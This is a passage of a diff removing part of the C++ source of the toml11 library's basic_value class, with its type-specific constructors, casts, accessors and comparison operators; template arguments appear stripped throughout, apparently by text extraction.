assigner(this->floating_, static_cast(f)); - return *this; - } - - template::value, std::nullptr_t>::type = nullptr> - basic_value(T f, std::vector com) - : type_(value_t::floating), - region_info_(std::make_shared(region_base{})), - comments_(std::move(com)) - { - assigner(this->floating_, f); - } - - // string =============================================================== - - basic_value(toml::string s) - : type_(value_t::string), - region_info_(std::make_shared(region_base{})) - { - assigner(this->string_, std::move(s)); - } - basic_value& operator=(toml::string s) - { - this->cleanup(); - this->type_ = value_t::string ; - this->region_info_ = std::make_shared(region_base{}); - assigner(this->string_, s); - return *this; - } - basic_value(toml::string s, std::vector com) - : type_(value_t::string), - region_info_(std::make_shared(region_base{})), - comments_(std::move(com)) - { - assigner(this->string_, std::move(s)); - } - - basic_value(std::string s) - : type_(value_t::string), - region_info_(std::make_shared(region_base{})) - { - assigner(this->string_, toml::string(std::move(s))); - } - basic_value& operator=(std::string s) - { - this->cleanup(); - this->type_ = value_t::string ; - this->region_info_ = std::make_shared(region_base{}); - assigner(this->string_, toml::string(std::move(s))); - return *this; - } - basic_value(std::string s, string_t kind) - : type_(value_t::string), - region_info_(std::make_shared(region_base{})) - { - assigner(this->string_, toml::string(std::move(s), kind)); - } - basic_value(std::string s, std::vector com) - : type_(value_t::string), - region_info_(std::make_shared(region_base{})), - comments_(std::move(com)) - { - assigner(this->string_, toml::string(std::move(s))); - } - basic_value(std::string s, string_t kind, std::vector com) - : type_(value_t::string), - region_info_(std::make_shared(region_base{})), - comments_(std::move(com)) - { - assigner(this->string_, toml::string(std::move(s), kind)); - } - - basic_value(const char* s) - : type_(value_t::string), - region_info_(std::make_shared(region_base{})) - { - assigner(this->string_, toml::string(std::string(s))); - } - basic_value& operator=(const char* s) - { - this->cleanup(); - this->type_ = value_t::string ; - this->region_info_ = std::make_shared(region_base{}); - assigner(this->string_, toml::string(std::string(s))); - return *this; - } - basic_value(const char* s, string_t kind) - : type_(value_t::string), - region_info_(std::make_shared(region_base{})) - { - assigner(this->string_, toml::string(std::string(s), kind)); - } - basic_value(const char* s, std::vector com) - : type_(value_t::string), - region_info_(std::make_shared(region_base{})), - comments_(std::move(com)) - { - assigner(this->string_, toml::string(std::string(s))); - } - basic_value(const char* s, string_t kind, std::vector com) - : type_(value_t::string), - region_info_(std::make_shared(region_base{})), - comments_(std::move(com)) - { - assigner(this->string_, toml::string(std::string(s), kind)); - } - -#if defined(TOML11_USING_STRING_VIEW) && TOML11_USING_STRING_VIEW>0 - basic_value(std::string_view s) - : type_(value_t::string), - region_info_(std::make_shared(region_base{})) - { - assigner(this->string_, toml::string(s)); - } - basic_value& operator=(std::string_view s) - { - this->cleanup(); - this->type_ = value_t::string ; - this->region_info_ = std::make_shared(region_base{}); - assigner(this->string_, toml::string(s)); - return *this; - } - basic_value(std::string_view s, std::vector com) - : type_(value_t::string), - region_info_(std::make_shared(region_base{})), - comments_(std::move(com)) - { - assigner(this->string_, toml::string(s)); - } - basic_value(std::string_view s, string_t kind) - : type_(value_t::string), - region_info_(std::make_shared(region_base{})) - { - assigner(this->string_, toml::string(s, kind)); - } - basic_value(std::string_view s, string_t kind, std::vector com) - : type_(value_t::string), - region_info_(std::make_shared(region_base{})), - comments_(std::move(com)) - { - assigner(this->string_, toml::string(s, kind)); - } -#endif - - // local date =========================================================== - - basic_value(const local_date& ld) - : type_(value_t::local_date), - region_info_(std::make_shared(region_base{})) - { - assigner(this->local_date_, ld); - } - basic_value& operator=(const local_date& ld) - { - this->cleanup(); - this->type_ = value_t::local_date; - this->region_info_ = std::make_shared(region_base{}); - assigner(this->local_date_, ld); - return *this; - } - basic_value(const local_date& ld, std::vector com) - : type_(value_t::local_date), - region_info_(std::make_shared(region_base{})), - comments_(std::move(com)) - { - assigner(this->local_date_, ld); - } - - // local time =========================================================== - - basic_value(const local_time& lt) - : type_(value_t::local_time), - region_info_(std::make_shared(region_base{})) - { - assigner(this->local_time_, lt); - } - basic_value(const local_time& lt, std::vector com) - : type_(value_t::local_time), - region_info_(std::make_shared(region_base{})), - comments_(std::move(com)) - { - assigner(this->local_time_, lt); - } - basic_value& operator=(const local_time& lt) - { - this->cleanup(); - this->type_ = value_t::local_time; - this->region_info_ = std::make_shared(region_base{}); - assigner(this->local_time_, lt); - return *this; - } - - template - basic_value(const std::chrono::duration& dur) - : type_(value_t::local_time), - region_info_(std::make_shared(region_base{})) - { - assigner(this->local_time_, local_time(dur)); - } - template - basic_value(const std::chrono::duration& dur, - std::vector com) - : type_(value_t::local_time), - region_info_(std::make_shared(region_base{})), - comments_(std::move(com)) - { - assigner(this->local_time_, local_time(dur)); - } - template - basic_value& operator=(const std::chrono::duration& dur) - { - this->cleanup(); - this->type_ = value_t::local_time; - this->region_info_ = std::make_shared(region_base{}); - assigner(this->local_time_, local_time(dur)); - return *this; - } - - // local datetime ======================================================= - - basic_value(const local_datetime& ldt) - : type_(value_t::local_datetime), - region_info_(std::make_shared(region_base{})) - { - assigner(this->local_datetime_, ldt); - } - basic_value(const local_datetime& ldt, std::vector com) - : type_(value_t::local_datetime), - region_info_(std::make_shared(region_base{})), - comments_(std::move(com)) - { - assigner(this->local_datetime_, ldt); - } - basic_value& operator=(const local_datetime& ldt) - { - this->cleanup(); - this->type_ = value_t::local_datetime; - this->region_info_ = std::make_shared(region_base{}); - assigner(this->local_datetime_, ldt); - return *this; - } - - // offset datetime ====================================================== - - basic_value(const offset_datetime& odt) - : type_(value_t::offset_datetime), - region_info_(std::make_shared(region_base{})) - { - assigner(this->offset_datetime_, odt); - } - basic_value(const offset_datetime& odt, std::vector com) - : type_(value_t::offset_datetime), - region_info_(std::make_shared(region_base{})), - comments_(std::move(com)) - { - assigner(this->offset_datetime_, odt); - } - basic_value& operator=(const offset_datetime& odt) - { - this->cleanup(); - this->type_ = value_t::offset_datetime; - this->region_info_ = std::make_shared(region_base{}); - assigner(this->offset_datetime_, odt); - return *this; - } - basic_value(const std::chrono::system_clock::time_point& tp) - : type_(value_t::offset_datetime), - region_info_(std::make_shared(region_base{})) - { - assigner(this->offset_datetime_, offset_datetime(tp)); - } - basic_value(const std::chrono::system_clock::time_point& tp, - std::vector com) - : type_(value_t::offset_datetime), - region_info_(std::make_shared(region_base{})), - comments_(std::move(com)) - { - assigner(this->offset_datetime_, offset_datetime(tp)); - } - basic_value& operator=(const std::chrono::system_clock::time_point& tp) - { - this->cleanup(); - this->type_ = value_t::offset_datetime; - this->region_info_ = std::make_shared(region_base{}); - assigner(this->offset_datetime_, offset_datetime(tp)); - return *this; - } - - // array ================================================================ - - basic_value(const array_type& ary) - : type_(value_t::array), - region_info_(std::make_shared(region_base{})) - { - assigner(this->array_, ary); - } - basic_value(const array_type& ary, std::vector com) - : type_(value_t::array), - region_info_(std::make_shared(region_base{})), - comments_(std::move(com)) - { - assigner(this->array_, ary); - } - basic_value& operator=(const array_type& ary) - { - this->cleanup(); - this->type_ = value_t::array ; - this->region_info_ = std::make_shared(region_base{}); - assigner(this->array_, ary); - return *this; - } - - // array (initializer_list) ---------------------------------------------- - - template::value, - std::nullptr_t>::type = nullptr> - basic_value(std::initializer_list list) - : type_(value_t::array), - region_info_(std::make_shared(region_base{})) - { - array_type ary(list.begin(), list.end()); - assigner(this->array_, std::move(ary)); - } - template::value, - std::nullptr_t>::type = nullptr> - basic_value(std::initializer_list list, std::vector com) - : type_(value_t::array), - region_info_(std::make_shared(region_base{})), - comments_(std::move(com)) - { - array_type ary(list.begin(), list.end()); - assigner(this->array_, std::move(ary)); - } - template::value, - std::nullptr_t>::type = nullptr> - basic_value& operator=(std::initializer_list list) - { - this->cleanup(); - this->type_ = value_t::array; - this->region_info_ = std::make_shared(region_base{}); - - array_type ary(list.begin(), list.end()); - assigner(this->array_, std::move(ary)); - return *this; - } - - // array (STL Containers) ------------------------------------------------ - - template>, - detail::is_container - >::value, std::nullptr_t>::type = nullptr> - basic_value(const T& list) - : type_(value_t::array), - region_info_(std::make_shared(region_base{})) - { - static_assert(std::is_convertible::value, - "elements of a container should be convertible to toml::value"); - - array_type ary(list.size()); - std::copy(list.begin(), list.end(), ary.begin()); - assigner(this->array_, std::move(ary)); - } - template>, - detail::is_container - >::value, std::nullptr_t>::type = nullptr> - basic_value(const T& list, std::vector com) - : type_(value_t::array), - region_info_(std::make_shared(region_base{})), - comments_(std::move(com)) - { - static_assert(std::is_convertible::value, - "elements of a container should be convertible to toml::value"); - - array_type ary(list.size()); - std::copy(list.begin(), list.end(), ary.begin()); - assigner(this->array_, std::move(ary)); - } - template>, - detail::is_container - >::value, std::nullptr_t>::type = nullptr> - basic_value& operator=(const T& list) - { - static_assert(std::is_convertible::value, - "elements of a container should be convertible to toml::value"); - - this->cleanup(); - this->type_ = value_t::array; - this->region_info_ = std::make_shared(region_base{}); - - array_type ary(list.size()); - std::copy(list.begin(), list.end(), ary.begin()); - assigner(this->array_, std::move(ary)); - return *this; - } - - // table ================================================================ - - basic_value(const table_type& tab) - : type_(value_t::table), - region_info_(std::make_shared(region_base{})) - { - assigner(this->table_, tab); - } - basic_value(const table_type& tab, std::vector com) - : type_(value_t::table), - region_info_(std::make_shared(region_base{})), - comments_(std::move(com)) - { - assigner(this->table_, tab); - } - basic_value& operator=(const table_type& tab) - { - this->cleanup(); - this->type_ = value_t::table; - this->region_info_ = std::make_shared(region_base{}); - assigner(this->table_, tab); - return *this; - } - - // initializer-list ------------------------------------------------------ - - basic_value(std::initializer_list> list) - : type_(value_t::table), - region_info_(std::make_shared(region_base{})) - { - table_type tab; - for(const auto& elem : list) {tab[elem.first] = elem.second;} - assigner(this->table_, std::move(tab)); - } - - basic_value(std::initializer_list> list, - std::vector com) - : type_(value_t::table), - region_info_(std::make_shared(region_base{})), - comments_(std::move(com)) - { - table_type tab; - for(const auto& elem : list) {tab[elem.first] = elem.second;} - assigner(this->table_, std::move(tab)); - } - basic_value& operator=(std::initializer_list> list) - { - this->cleanup(); - this->type_ = value_t::table; - this->region_info_ = std::make_shared(region_base{}); - - table_type tab; - for(const auto& elem : list) {tab[elem.first] = elem.second;} - assigner(this->table_, std::move(tab)); - return *this; - } - - // other table-like ----------------------------------------------------- - - template>, - detail::is_map - >::value, std::nullptr_t>::type = nullptr> - basic_value(const Map& mp) - : type_(value_t::table), - region_info_(std::make_shared(region_base{})) - { - table_type tab; - for(const auto& elem : mp) {tab[elem.first] = elem.second;} - assigner(this->table_, std::move(tab)); - } - template>, - detail::is_map - >::value, std::nullptr_t>::type = nullptr> - basic_value(const Map& mp, std::vector com) - : type_(value_t::table), - region_info_(std::make_shared(region_base{})), - comments_(std::move(com)) - { - table_type tab; - for(const auto& elem : mp) {tab[elem.first] = elem.second;} - assigner(this->table_, std::move(tab)); - } - template>, - detail::is_map - >::value, std::nullptr_t>::type = nullptr> - basic_value& operator=(const Map& mp) - { - this->cleanup(); - this->type_ = value_t::table; - this->region_info_ = std::make_shared(region_base{}); - - table_type tab; - for(const auto& elem : mp) {tab[elem.first] = elem.second;} - assigner(this->table_, std::move(tab)); - return *this; - } - - // user-defined ========================================================= - - // convert using into_toml() method ------------------------------------- - - template::value, std::nullptr_t>::type = nullptr> - basic_value(const T& ud): basic_value(ud.into_toml()) {} - - template::value, std::nullptr_t>::type = nullptr> - basic_value(const T& ud, std::vector com) - : basic_value(ud.into_toml(), std::move(com)) - {} - template::value, std::nullptr_t>::type = nullptr> - basic_value& operator=(const T& ud) - { - *this = ud.into_toml(); - return *this; - } - - // convert using into struct ----------------------------------------- - - template)> - basic_value(const T& ud): basic_value(::toml::into::into_toml(ud)) {} - template)> - basic_value(const T& ud, std::vector com) - : basic_value(::toml::into::into_toml(ud), std::move(com)) - {} - template)> - basic_value& operator=(const T& ud) - { - *this = ::toml::into::into_toml(ud); - return *this; - } - - // for internal use ------------------------------------------------------ - // - // Those constructors take detail::region that contains parse result. - - basic_value(boolean b, detail::region reg, std::vector cm) - : type_(value_t::boolean), - region_info_(std::make_shared(std::move(reg))), - comments_(std::move(cm)) - { - assigner(this->boolean_, b); - } - template, detail::negation> - >::value, std::nullptr_t>::type = nullptr> - basic_value(T i, detail::region reg, std::vector cm) - : type_(value_t::integer), - region_info_(std::make_shared(std::move(reg))), - comments_(std::move(cm)) - { - assigner(this->integer_, static_cast(i)); - } - template::value, std::nullptr_t>::type = nullptr> - basic_value(T f, detail::region reg, std::vector cm) - : type_(value_t::floating), - region_info_(std::make_shared(std::move(reg))), - comments_(std::move(cm)) - { - assigner(this->floating_, static_cast(f)); - } - basic_value(toml::string s, detail::region reg, - std::vector cm) - : type_(value_t::string), - region_info_(std::make_shared(std::move(reg))), - comments_(std::move(cm)) - { - assigner(this->string_, std::move(s)); - } - basic_value(const local_date& ld, detail::region reg, - std::vector cm) - : type_(value_t::local_date), - region_info_(std::make_shared(std::move(reg))), - comments_(std::move(cm)) - { - assigner(this->local_date_, ld); - } - basic_value(const local_time& lt, detail::region reg, - std::vector cm) - : type_(value_t::local_time), - region_info_(std::make_shared(std::move(reg))), - comments_(std::move(cm)) - { - assigner(this->local_time_, lt); - } - basic_value(const local_datetime& ldt, detail::region reg, - std::vector cm) - : type_(value_t::local_datetime), - region_info_(std::make_shared(std::move(reg))), - comments_(std::move(cm)) - { - assigner(this->local_datetime_, ldt); - } - basic_value(const offset_datetime& odt, detail::region reg, - std::vector cm) - : type_(value_t::offset_datetime), - region_info_(std::make_shared(std::move(reg))), - comments_(std::move(cm)) - { - assigner(this->offset_datetime_, odt); - } - basic_value(const array_type& ary, detail::region reg, - std::vector cm) - : type_(value_t::array), - region_info_(std::make_shared(std::move(reg))), - comments_(std::move(cm)) - { - assigner(this->array_, ary); - } - basic_value(const table_type& tab, detail::region reg, - std::vector cm) - : type_(value_t::table), - region_info_(std::make_shared(std::move(reg))), - comments_(std::move(cm)) - { - assigner(this->table_, tab); - } - - template::value, - std::nullptr_t>::type = nullptr> - basic_value(std::pair parse_result, std::vector com) - : basic_value(std::move(parse_result.first), - std::move(parse_result.second), - std::move(com)) - {} - - // type checking and casting ============================================ - - template::value, - std::nullptr_t>::type = nullptr> - bool is() const noexcept - { - return detail::type_to_enum::value == this->type_; - } - bool is(value_t t) const noexcept {return t == this->type_;} - - bool is_uninitialized() const noexcept {return this->is(value_t::empty );} - bool is_boolean() const noexcept {return this->is(value_t::boolean );} - bool is_integer() const noexcept {return this->is(value_t::integer );} - bool is_floating() const noexcept {return this->is(value_t::floating );} - bool is_string() const noexcept {return this->is(value_t::string );} - bool is_offset_datetime() const noexcept {return this->is(value_t::offset_datetime);} - bool is_local_datetime() const noexcept {return this->is(value_t::local_datetime );} - bool is_local_date() const noexcept {return this->is(value_t::local_date );} - bool is_local_time() const noexcept {return this->is(value_t::local_time );} - bool is_array() const noexcept {return this->is(value_t::array );} - bool is_table() const noexcept {return this->is(value_t::table );} - - value_t type() const noexcept {return type_;} - - template - typename detail::enum_to_type::type& cast() & - { - if(this->type_ != T) - { - detail::throw_bad_cast("toml::value::cast: ", this->type_, *this); - } - return detail::switch_cast::invoke(*this); - } - template - typename detail::enum_to_type::type const& cast() const& - { - if(this->type_ != T) - { - detail::throw_bad_cast("toml::value::cast: ", this->type_, *this); - } - return detail::switch_cast::invoke(*this); - } - template - typename detail::enum_to_type::type&& cast() && - { - if(this->type_ != T) - { - detail::throw_bad_cast("toml::value::cast: ", this->type_, *this); - } - return detail::switch_cast::invoke(std::move(*this)); - } - - // ------------------------------------------------------------------------ - // nothrow version - - boolean const& as_boolean (const std::nothrow_t&) const& noexcept {return this->boolean_;} - integer const& as_integer (const std::nothrow_t&) const& noexcept {return this->integer_;} - floating const& as_floating (const std::nothrow_t&) const& noexcept {return this->floating_;} - string const& as_string (const std::nothrow_t&) const& noexcept {return this->string_;} - offset_datetime const& as_offset_datetime(const std::nothrow_t&) const& noexcept {return this->offset_datetime_;} - local_datetime const& as_local_datetime (const std::nothrow_t&) const& noexcept {return this->local_datetime_;} - local_date const& as_local_date (const std::nothrow_t&) const& noexcept {return this->local_date_;} - local_time const& as_local_time (const std::nothrow_t&) const& noexcept {return this->local_time_;} - array_type const& as_array (const std::nothrow_t&) const& noexcept {return this->array_.value();} - table_type const& as_table (const std::nothrow_t&) const& noexcept {return this->table_.value();} - - boolean & as_boolean (const std::nothrow_t&) & noexcept {return this->boolean_;} - integer & as_integer (const std::nothrow_t&) & noexcept {return this->integer_;} - floating & as_floating (const std::nothrow_t&) & noexcept {return this->floating_;} - string & as_string (const std::nothrow_t&) & noexcept {return this->string_;} - offset_datetime& as_offset_datetime(const std::nothrow_t&) & noexcept {return this->offset_datetime_;} - local_datetime & as_local_datetime (const std::nothrow_t&) & noexcept {return this->local_datetime_;} - local_date & as_local_date (const std::nothrow_t&) & noexcept {return this->local_date_;} - local_time & as_local_time (const std::nothrow_t&) & noexcept {return this->local_time_;} - array_type & as_array (const std::nothrow_t&) & noexcept {return this->array_.value();} - table_type & as_table (const std::nothrow_t&) & noexcept {return this->table_.value();} - - boolean && as_boolean (const std::nothrow_t&) && noexcept {return std::move(this->boolean_);} - integer && as_integer (const std::nothrow_t&) && noexcept {return std::move(this->integer_);} - floating && as_floating (const std::nothrow_t&) && noexcept {return std::move(this->floating_);} - string && as_string (const std::nothrow_t&) && noexcept {return std::move(this->string_);} - offset_datetime&& as_offset_datetime(const std::nothrow_t&) && noexcept {return std::move(this->offset_datetime_);} - local_datetime && as_local_datetime (const std::nothrow_t&) && noexcept {return std::move(this->local_datetime_);} - local_date && as_local_date (const std::nothrow_t&) && noexcept {return std::move(this->local_date_);} - local_time && as_local_time (const std::nothrow_t&) && noexcept {return std::move(this->local_time_);} - array_type && as_array (const std::nothrow_t&) && noexcept {return std::move(this->array_.value());} - table_type && as_table (const std::nothrow_t&) && noexcept {return std::move(this->table_.value());} - - // ======================================================================== - // throw version - // ------------------------------------------------------------------------ - // const reference {{{ - - boolean const& as_boolean() const& - { - if(this->type_ != value_t::boolean) - { - detail::throw_bad_cast( - "toml::value::as_boolean(): ", this->type_, *this); - } - return this->boolean_; - } - integer const& as_integer() const& - { - if(this->type_ != value_t::integer) - { - detail::throw_bad_cast( - "toml::value::as_integer(): ", this->type_, *this); - } - return this->integer_; - } - floating const& as_floating() const& - { - if(this->type_ != value_t::floating) - { - detail::throw_bad_cast( - "toml::value::as_floating(): ", this->type_, *this); - } - return this->floating_; - } - string const& as_string() const& - { - if(this->type_ != value_t::string) - { - detail::throw_bad_cast( - "toml::value::as_string(): ", this->type_, *this); - } - return this->string_; - } - offset_datetime const& as_offset_datetime() const& - { - if(this->type_ != value_t::offset_datetime) - { - detail::throw_bad_cast( - "toml::value::as_offset_datetime(): ", this->type_, *this); - } - return this->offset_datetime_; - } - local_datetime const& as_local_datetime() const& - { - if(this->type_ != value_t::local_datetime) - { - detail::throw_bad_cast( - "toml::value::as_local_datetime(): ", this->type_, *this); - } - return this->local_datetime_; - } - local_date const& as_local_date() const& - { - if(this->type_ != value_t::local_date) - { - detail::throw_bad_cast( - "toml::value::as_local_date(): ", this->type_, *this); - } - return this->local_date_; - } - local_time const& as_local_time() const& - { - if(this->type_ != value_t::local_time) - { - detail::throw_bad_cast( - "toml::value::as_local_time(): ", this->type_, *this); - } - return this->local_time_; - } - array_type const& as_array() const& - { - if(this->type_ != value_t::array) - { - detail::throw_bad_cast( - "toml::value::as_array(): ", this->type_, *this); - } - return this->array_.value(); - } - table_type const& as_table() const& - { - if(this->type_ != value_t::table) - { - detail::throw_bad_cast( - "toml::value::as_table(): ", this->type_, *this); - } - return this->table_.value(); - } - // }}} - // ------------------------------------------------------------------------ - // nonconst reference {{{ - - boolean & as_boolean() & - { - if(this->type_ != value_t::boolean) - { - detail::throw_bad_cast( - "toml::value::as_boolean(): ", this->type_, *this); - } - return this->boolean_; - } - integer & as_integer() & - { - if(this->type_ != value_t::integer) - { - detail::throw_bad_cast( - "toml::value::as_integer(): ", this->type_, *this); - } - return this->integer_; - } - floating & as_floating() & - { - if(this->type_ != value_t::floating) - { - detail::throw_bad_cast( - "toml::value::as_floating(): ", this->type_, *this); - } - return this->floating_; - } - string & as_string() & - { - if(this->type_ != value_t::string) - { - detail::throw_bad_cast( - "toml::value::as_string(): ", this->type_, *this); - } - return this->string_; - } - offset_datetime & as_offset_datetime() & - { - if(this->type_ != value_t::offset_datetime) - { - detail::throw_bad_cast( - "toml::value::as_offset_datetime(): ", this->type_, *this); - } - return this->offset_datetime_; - } - local_datetime & as_local_datetime() & - { - if(this->type_ != value_t::local_datetime) - { - detail::throw_bad_cast( - "toml::value::as_local_datetime(): ", this->type_, *this); - } - return this->local_datetime_; - } - local_date & as_local_date() & - { - if(this->type_ != value_t::local_date) - { - detail::throw_bad_cast( - "toml::value::as_local_date(): ", this->type_, *this); - } - return this->local_date_; - } - local_time & as_local_time() & - { - if(this->type_ != value_t::local_time) - { - detail::throw_bad_cast( - "toml::value::as_local_time(): ", this->type_, *this); - } - return this->local_time_; - } - array_type & as_array() & - { - if(this->type_ != value_t::array) - { - detail::throw_bad_cast( - "toml::value::as_array(): ", this->type_, *this); - } - return this->array_.value(); - } - table_type & as_table() & - { - if(this->type_ != value_t::table) - { - detail::throw_bad_cast( - "toml::value::as_table(): ", this->type_, *this); - } - return this->table_.value(); - } - - // }}} - // ------------------------------------------------------------------------ - // rvalue reference {{{ - - boolean && as_boolean() && - { - if(this->type_ != value_t::boolean) - { - detail::throw_bad_cast( - "toml::value::as_boolean(): ", this->type_, *this); - } - return std::move(this->boolean_); - } - integer && as_integer() && - { - if(this->type_ != value_t::integer) - { - detail::throw_bad_cast( - "toml::value::as_integer(): ", this->type_, *this); - } - return std::move(this->integer_); - } - floating && as_floating() && - { - if(this->type_ != value_t::floating) - { - detail::throw_bad_cast( - "toml::value::as_floating(): ", this->type_, *this); - } - return std::move(this->floating_); - } - string && as_string() && - { - if(this->type_ != value_t::string) - { - detail::throw_bad_cast( - "toml::value::as_string(): ", this->type_, *this); - } - return std::move(this->string_); - } - offset_datetime && as_offset_datetime() && - { - if(this->type_ != value_t::offset_datetime) - { - detail::throw_bad_cast( - "toml::value::as_offset_datetime(): ", this->type_, *this); - } - return std::move(this->offset_datetime_); - } - local_datetime && as_local_datetime() && - { - if(this->type_ != value_t::local_datetime) - { - detail::throw_bad_cast( - "toml::value::as_local_datetime(): ", this->type_, *this); - } - return std::move(this->local_datetime_); - } - local_date && as_local_date() && - { - if(this->type_ != value_t::local_date) - { - detail::throw_bad_cast( - "toml::value::as_local_date(): ", this->type_, *this); - } - return std::move(this->local_date_); - } - local_time && as_local_time() && - { - if(this->type_ != value_t::local_time) - { - detail::throw_bad_cast( - "toml::value::as_local_time(): ", this->type_, *this); - } - return std::move(this->local_time_); - } - array_type && as_array() && - { - if(this->type_ != value_t::array) - { - detail::throw_bad_cast( - "toml::value::as_array(): ", this->type_, *this); - } - return std::move(this->array_.value()); - } - table_type && as_table() && - { - if(this->type_ != value_t::table) - { - detail::throw_bad_cast( - "toml::value::as_table(): ", this->type_, *this); - } - return std::move(this->table_.value()); - } - // }}} - - // accessors ============================================================= - // - // may throw type_error or out_of_range - // - value_type& at(const key& k) - { - if(!this->is_table()) - { - detail::throw_bad_cast( - "toml::value::at(key): ", this->type_, *this); - } - if(this->as_table(std::nothrow).count(k) == 0) - { - detail::throw_key_not_found_error(*this, k); - } - return this->as_table(std::nothrow).at(k); - } - value_type const& at(const key& k) const - { - if(!this->is_table()) - { - detail::throw_bad_cast( - "toml::value::at(key): ", this->type_, *this); - } - if(this->as_table(std::nothrow).count(k) == 0) - { - detail::throw_key_not_found_error(*this, k); - } - return this->as_table(std::nothrow).at(k); - } - value_type& operator[](const key& k) - { - if(this->is_uninitialized()) - { - *this = table_type{}; - } - else if(!this->is_table()) // initialized, but not a table - { - detail::throw_bad_cast( - "toml::value::operator[](key): ", this->type_, *this); - } - return this->as_table(std::nothrow)[k]; - } - - value_type& at(const std::size_t idx) - { - if(!this->is_array()) - { - detail::throw_bad_cast( - "toml::value::at(idx): ", this->type_, *this); - } - if(this->as_array(std::nothrow).size() <= idx) - { - throw std::out_of_range(detail::format_underline( - "toml::value::at(idx): no element corresponding to the index", { - {this->location(), concat_to_string("the length is ", - this->as_array(std::nothrow).size(), - ", and the specified index is ", idx)} - })); - } - return this->as_array().at(idx); - } - value_type const& at(const std::size_t idx) const - { - if(!this->is_array()) - { - detail::throw_bad_cast( - "toml::value::at(idx): ", this->type_, *this); - } - if(this->as_array(std::nothrow).size() <= idx) - { - throw std::out_of_range(detail::format_underline( - "toml::value::at(idx): no element corresponding to the index", { - {this->location(), concat_to_string("the length is ", - this->as_array(std::nothrow).size(), - ", and the specified index is ", idx)} - })); - } - return this->as_array(std::nothrow).at(idx); - } - - value_type& operator[](const std::size_t idx) noexcept - { - // no check... - return this->as_array(std::nothrow)[idx]; - } - value_type const& operator[](const std::size_t idx) const noexcept - { - // no check... - return this->as_array(std::nothrow)[idx]; - } - - void push_back(const value_type& x) - { - if(!this->is_array()) - { - detail::throw_bad_cast( - "toml::value::push_back(value): ", this->type_, *this); - } - this->as_array(std::nothrow).push_back(x); - return; - } - void push_back(value_type&& x) - { - if(!this->is_array()) - { - detail::throw_bad_cast( - "toml::value::push_back(value): ", this->type_, *this); - } - this->as_array(std::nothrow).push_back(std::move(x)); - return; - } - - template - value_type& emplace_back(Ts&& ... args) - { - if(!this->is_array()) - { - detail::throw_bad_cast( - "toml::value::emplace_back(...): ", this->type_, *this); - } - this->as_array(std::nothrow).emplace_back(std::forward(args) ...); - return this->as_array(std::nothrow).back(); - } - - std::size_t size() const - { - switch(this->type_) - { - case value_t::array: - { - return this->as_array(std::nothrow).size(); - } - case value_t::table: - { - return this->as_table(std::nothrow).size(); - } - case value_t::string: - { - return this->as_string(std::nothrow).str.size(); - } - default: - { - throw type_error(detail::format_underline( - "toml::value::size(): bad_cast to container types", { - {this->location(), - concat_to_string("the actual type is ", this->type_)} - }), this->location()); - } - } - } - - std::size_t count(const key_type& k) const - { - if(!this->is_table()) - { - detail::throw_bad_cast( - "toml::value::count(key): ", this->type_, *this); - } - return this->as_table(std::nothrow).count(k); - } - - bool contains(const key_type& k) const - { - if(!this->is_table()) - { - detail::throw_bad_cast( - "toml::value::contains(key): ", this->type_, *this); - } - return (this->as_table(std::nothrow).count(k) != 0); - } - - source_location location() const - { - return source_location(this->region_info_.get()); - } - - comment_type const& comments() const noexcept {return this->comments_;} - comment_type& comments() noexcept {return this->comments_;} - - private: - - void cleanup() noexcept - { - switch(this->type_) - { - case value_t::string : {string_.~string(); return;} - case value_t::array : {array_.~array_storage(); return;} - case value_t::table : {table_.~table_storage(); return;} - default : return; - } - } - - // for error messages - template - friend region_base const* detail::get_region(const Value& v); - - template - friend void detail::change_region(Value& v, detail::region reg); - - private: - - using array_storage = detail::storage; - using table_storage = detail::storage; - - value_t type_; - union - { - boolean boolean_; - integer integer_; - floating floating_; - string string_; - offset_datetime offset_datetime_; - local_datetime local_datetime_; - local_date local_date_; - local_time local_time_; - array_storage array_; - table_storage table_; - }; - std::shared_ptr region_info_; - comment_type comments_; -}; - -// default toml::value and default array/table. -// TOML11_DEFAULT_COMMENT_STRATEGY is defined in comments.hpp -using value = basic_value; -using array = typename value::array_type; -using table = typename value::table_type; - -template class T, template class A> -inline bool -operator==(const basic_value& lhs, const basic_value& rhs) -{ - if(lhs.type() != rhs.type()) {return false;} - if(lhs.comments() != rhs.comments()) {return false;} - - switch(lhs.type()) - { - case value_t::boolean : - { - return lhs.as_boolean() == rhs.as_boolean(); - } - case value_t::integer : - { - return lhs.as_integer() == rhs.as_integer(); - } - case value_t::floating : - { - return lhs.as_floating() == rhs.as_floating(); - } - case value_t::string : - { - return lhs.as_string() == rhs.as_string(); - } - case value_t::offset_datetime: - { - return lhs.as_offset_datetime() == rhs.as_offset_datetime(); - } - case value_t::local_datetime: - { - return lhs.as_local_datetime() == rhs.as_local_datetime(); - } - case value_t::local_date: - { - return lhs.as_local_date() == rhs.as_local_date(); - } - case value_t::local_time: - { - return lhs.as_local_time() == rhs.as_local_time(); - } - case value_t::array : - { - return lhs.as_array() == rhs.as_array(); - } - case value_t::table : - { - return lhs.as_table() == rhs.as_table(); - } - case value_t::empty : {return true; } - default: {return false;} - } -} - -template class T, template class A> -inline bool operator!=(const basic_value& lhs, const basic_value& rhs) -{ - return !(lhs == rhs); -} - -template class T, template class A> -typename std::enable_if::array_type>, - detail::is_comparable::table_type> - >::value, bool>::type -operator<(const basic_value& lhs, const basic_value& rhs) -{ - if(lhs.type() != rhs.type()){return (lhs.type() < rhs.type());} - switch(lhs.type()) - { - case value_t::boolean : - { - return lhs.as_boolean() < rhs.as_boolean() || - (lhs.as_boolean() == rhs.as_boolean() && - lhs.comments() < rhs.comments()); - } - case value_t::integer : - { - return lhs.as_integer() < rhs.as_integer() || - (lhs.as_integer() == rhs.as_integer() && - lhs.comments() < rhs.comments()); - } - case value_t::floating : - { - return lhs.as_floating() < rhs.as_floating() || - (lhs.as_floating() == rhs.as_floating() && - lhs.comments() < rhs.comments()); - } - case value_t::string : - { - return lhs.as_string() < rhs.as_string() || - (lhs.as_string() == rhs.as_string() && - lhs.comments() < rhs.comments()); - } - case value_t::offset_datetime: - { - return lhs.as_offset_datetime() < rhs.as_offset_datetime() || - (lhs.as_offset_datetime() == rhs.as_offset_datetime() && - lhs.comments() < rhs.comments()); - } - case value_t::local_datetime: - { - return lhs.as_local_datetime() < rhs.as_local_datetime() || - (lhs.as_local_datetime() == rhs.as_local_datetime() && - lhs.comments() < rhs.comments()); - } - case value_t::local_date: - { - return lhs.as_local_date() < rhs.as_local_date() || - (lhs.as_local_date() == rhs.as_local_date() && - lhs.comments() < rhs.comments()); - } - case value_t::local_time: - { - return lhs.as_local_time() < rhs.as_local_time() || - (lhs.as_local_time() == rhs.as_local_time() && 